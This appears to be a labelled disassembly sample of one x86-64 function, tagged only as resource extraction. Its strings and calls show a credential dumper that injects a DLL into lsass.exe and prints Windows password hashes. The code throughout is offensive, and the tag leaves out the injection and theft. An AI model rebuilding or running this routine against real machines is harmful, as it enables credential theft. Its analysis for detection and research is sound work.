Function at 0x180005a20
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rdx
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0xf0
xor edx, edx
mov edi, 0xea60
mov r14d, edx
mov r12d, edx
mov qword [rsp + 0x48], rdx
mov r13d, edx
mov qword [rsp + 0x50], rdx
mov qword [rax + 0x20], rdx
mov dword [rax + 8], edx
mov qword [rsp + 0x40], rdx
mov esi, edx
cmp ecx, edi
jb 0x180005a6e
mov eax, 0x493e0
mov edi, ecx
cmp ecx, eax
cmova edi, eax
mov qword [rsp + 0xe8], rbx
mov qword [rsp + 0xe0], rbp
mov qword [rsp + 0xd8], r15
call fcn.1800052a0
test eax, eax
je 0x180005f8d
lea rcx, str._PASSWD__Targeting_64_bit_version_of_lsass
call fcn.180005120
mov rcx, qword [0x180025eb0]
lea r8, [0x18001b1ec]
mov edx, 0x66
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov edx, 0x30
lea ecx, [rdx - 0x2f]
mov r15, rax
call fcn.180007de4
mov edx, edi
mov rcx, rax
mov rbp, rax
call fcn.180005720
mov ebx, eax
test eax, eax
je 0x180005af9
lea rdx, str._PASSWD__Failed_to_initialize_the_dump_sam_arguments
lea rcx, [0x180018d60]
mov r9d, ebx
mov r8d, ebx
call fcn.180005120
jmp 0x180006010
mov r9, rbp
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea r9, [rbp + 0x10]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov r12, rax
mov qword [rsp + 0x130], rax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0x48], rax
test r12, r12
je 0x180005f8d
test rax, rax
je 0x180005f8d
test r15, r15
jne 0x180005b64
mov ebx, 0x490
lea rdx, str._PASSWD__Failed_to_find_the_DLL_resource
lea rcx, [0x180018d60]
mov r9d, ebx
mov r8d, ebx
call fcn.180005120
jmp 0x180005fae
mov rcx, qword [0x180025eb0]
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
jne 0x180005ba2
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._PASSWD__Failed_to_load_the_DLL_resource
lea rcx, [0x180018d60]
mov r9d, eax
mov r8d, eax
mov ebx, eax
call fcn.180005120
jmp 0x180005fae
mov rcx, qword [0x180025eb0]
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, rbx
mov r15d, eax
call qword [sym.imp.KERNEL32.dll_LockResource]
lea rcx, str._PASSWD__Loaded_DLL_resource_at_0x_p___u_bytes_
mov rdx, rax
mov r8d, r15d
mov r12, rax
call fcn.180005120
call fcn.1800055a0
mov ebx, eax
test eax, eax
je 0x180005c04
lea rdx, str._PASSWD__Failed_to_set_SE_DEBUG_NAME_privilege
mov r8d, ebx
mov r9, rbx
lea rcx, [0x180018d60]
call fcn.180005120
mov r12, qword [rsp + 0x130]
jmp 0x180005fae
call fcn.1800054c0
mov r14, rax
test rax, rax
jne 0x180005c1f
mov ebx, 0x490
lea rdx, str._PASSWD__Error_obtaining_the_lsass_handle
jmp 0x180005be5
lea rcx, str._PASSWD__Obtained_lsass_handle:_0x_p
mov rdx, rax
call fcn.180005120
xor edx, edx
mov r9d, 0x1000
lea r8d, [rdx + 0x30]
mov rcx, r14
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
jne 0x180005c6a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._PASSWD__Failed_to_allocate_memory
mov ebx, eax
mov r9d, eax
mov r8d, eax
jmp 0x180005beb
lea rax, [rsp + 0x50]
mov r9d, 0x30
mov r8, rbp
mov rdx, r13
mov rcx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x180005ca7
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._PASSWD__Failed_to_write_process_memory_for_function_args
mov ebx, eax
mov r9d, eax
mov r8d, eax
jmp 0x180005beb
cmp qword [rsp + 0x50], 0x30
je 0x180005cc0
mov ebx, 0x12b
lea rdx, str._PASSWD__Failed_to_write_process_memory_for_function_args__incomplete_write_
jmp 0x180005be5
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcessId]
lea rcx, str._PASSWD__Injecting_into_lsass.exe_pid:__u
mov edx, eax
mov ebx, eax
call fcn.180005120
mov rax, qword [0x180025ea8]
mov qword [rsp + 0x30], rsi
mov r9d, r15d
mov r8, r12
mov edx, 2
mov ecx, ebx
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], 1
call qword [rax + 0x2e8]
mov ebx, eax
test eax, eax
je 0x180005d18
lea rdx, str._PASSWD_Unable_to_inject_DLL
jmp 0x180005be5
lea rcx, str._PASSWD__Successfully_injected_the_DLL_into_lsass.exe
call fcn.180005120
mov r12, qword [rsp + 0x130]
mov edx, edi
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, eax
test eax, eax
je 0x180005d4f
mov r9d, ebx
mov r8d, ebx
lea rdx, str._PASSWD__Failed_to_wait_for_the_read_lock_event_to_be_signaled
jmp 0x180005fa2
lea rcx, str._PASSWD__Wait_completed_on_read_lock__fetching_arguments
call fcn.180005120
lea rax, [rsp + 0x138]
mov r9d, 0x30
mov r8, rbp
mov rdx, r13
mov rcx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x180005d93
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._PASSWD__Failed_to_read_process_memory_to_obtain_the_arguments
jmp 0x180005f9a
cmp qword [rsp + 0x138], 0x30
je 0x180005db5
mov ebx, 0x12b
lea rdx, str._PASSWD__Failed_to_read_process_memory_to_obtain_the_arguments__incomplete_read_
mov r9d, ebx
mov r8d, ebx
jmp 0x180005fa2
lea r9, [rsp + 0x120]
lea r8, [rsp + 0x40]
mov rdx, rbp
mov rcx, r14
mov qword [rsp + 0x138], rsi
call fcn.180005830
mov ebx, eax
test eax, eax
je 0x180005ded
mov r9d, ebx
mov r8d, ebx
lea rdx, str._PASSWD__Failed_to_read_the_response_data
jmp 0x180005fa2
lea rcx, str._PASSWD__Successfully_read_the_response_data
call fcn.180005120
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_SetEvent]
test eax, eax
jne 0x180005e1a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._PASSWD__Failed_to_set_the_free_lock_event
jmp 0x180005f9a
mov edx, edi
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, eax
test eax, eax
je 0x180005e3d
mov r9d, ebx
mov r8d, ebx
lea rdx, str._PASSWD__Failed_to_wait_for_the_read_lock_event_to_be_signaled
jmp 0x180005fa2
lea rcx, str._PASSWD__Wait_completed_on_read_lock__processing_response
call fcn.180005120
mov ecx, dword [rsp + 0x120]
test ecx, ecx
je 0x180005f89
mov rbp, qword [rsp + 0x40]
mov r15d, ecx
add rbp, 0x20
mov rdx, qword [rbp - 0x20]
mov rcx, rsi
call fcn.180005390
lea rdx, [0x18001b694]
mov rcx, rax
call fcn.180005390
mov ecx, dword [rbp - 0x14]
mov edx, 0x64
mov dword [rsp + 0x20], ecx
lea r9, [0x18001b698]
lea r8d, [rdx - 0x46]
lea rcx, [rsp + 0x60]
mov rbx, rax
call fcn.180007d44
lea rdx, [rsp + 0x60]
mov rcx, rbx
call fcn.180005390
lea rdx, [0x18001b694]
mov rcx, rax
call fcn.180005390
mov rbx, rbp
mov esi, 0x10
mov rdi, rax
nop word [rax + rax]
movzx ecx, byte [rbx]
mov edx, 0x64
lea r9, str._02x
mov dword [rsp + 0x20], ecx
lea rcx, [rsp + 0x60]
lea r8d, [rdx - 0x61]
call fcn.180007d44
lea rdx, [rsp + 0x60]
mov rcx, rdi
call fcn.180005390
lea rbx, [rbx + 1]
mov rdi, rax
dec rsi
jne 0x180005ed0
lea rdx, [0x18001b694]
mov rcx, rax
call fcn.180005390
lea rbx, [rbp - 0x10]
mov esi, 0x10
mov rdi, rax
nop word [rax + rax]
movzx ecx, byte [rbx]
mov edx, 0x64
lea r9, str._02x
mov dword [rsp + 0x20], ecx
lea rcx, [rsp + 0x60]
lea r8d, [rdx - 0x61]
call fcn.180007d44
lea rdx, [rsp + 0x60]
mov rcx, rdi
call fcn.180005390
lea rbx, [rbx + 1]
mov rdi, rax
dec rsi
jne 0x180005f30
lea rdx, str.:::_n
mov rcx, rax
call fcn.180005390
add rbp, 0x30
mov rsi, rax
dec r15
jne 0x180005e64
xor ebx, ebx
jmp 0x180005fae
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._PASSWD__Failed_to_create_event_lock
mov ebx, eax
mov r9d, eax
mov r8d, eax
lea rcx, [0x180018d60]
call fcn.180005120
test r12, r12
je 0x180005fbc
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x48]
test rax, rax
je 0x180005fcf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r13, r13
je 0x180005fec
mov r9d, 0x8000
mov r8d, 0x30
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test r14, r14
je 0x180005ffa
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x180006010
mov edx, dword [rsp + 0x120]
call fcn.1800057d0
mov rax, qword [rsp + 0x128]
mov r15, qword [rsp + 0xd8]
mov rbp, qword [rsp + 0xe0]
mov qword [rax], rsi
mov eax, ebx
mov rbx, qword [rsp + 0xe8]
add rsp, 0xf0
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret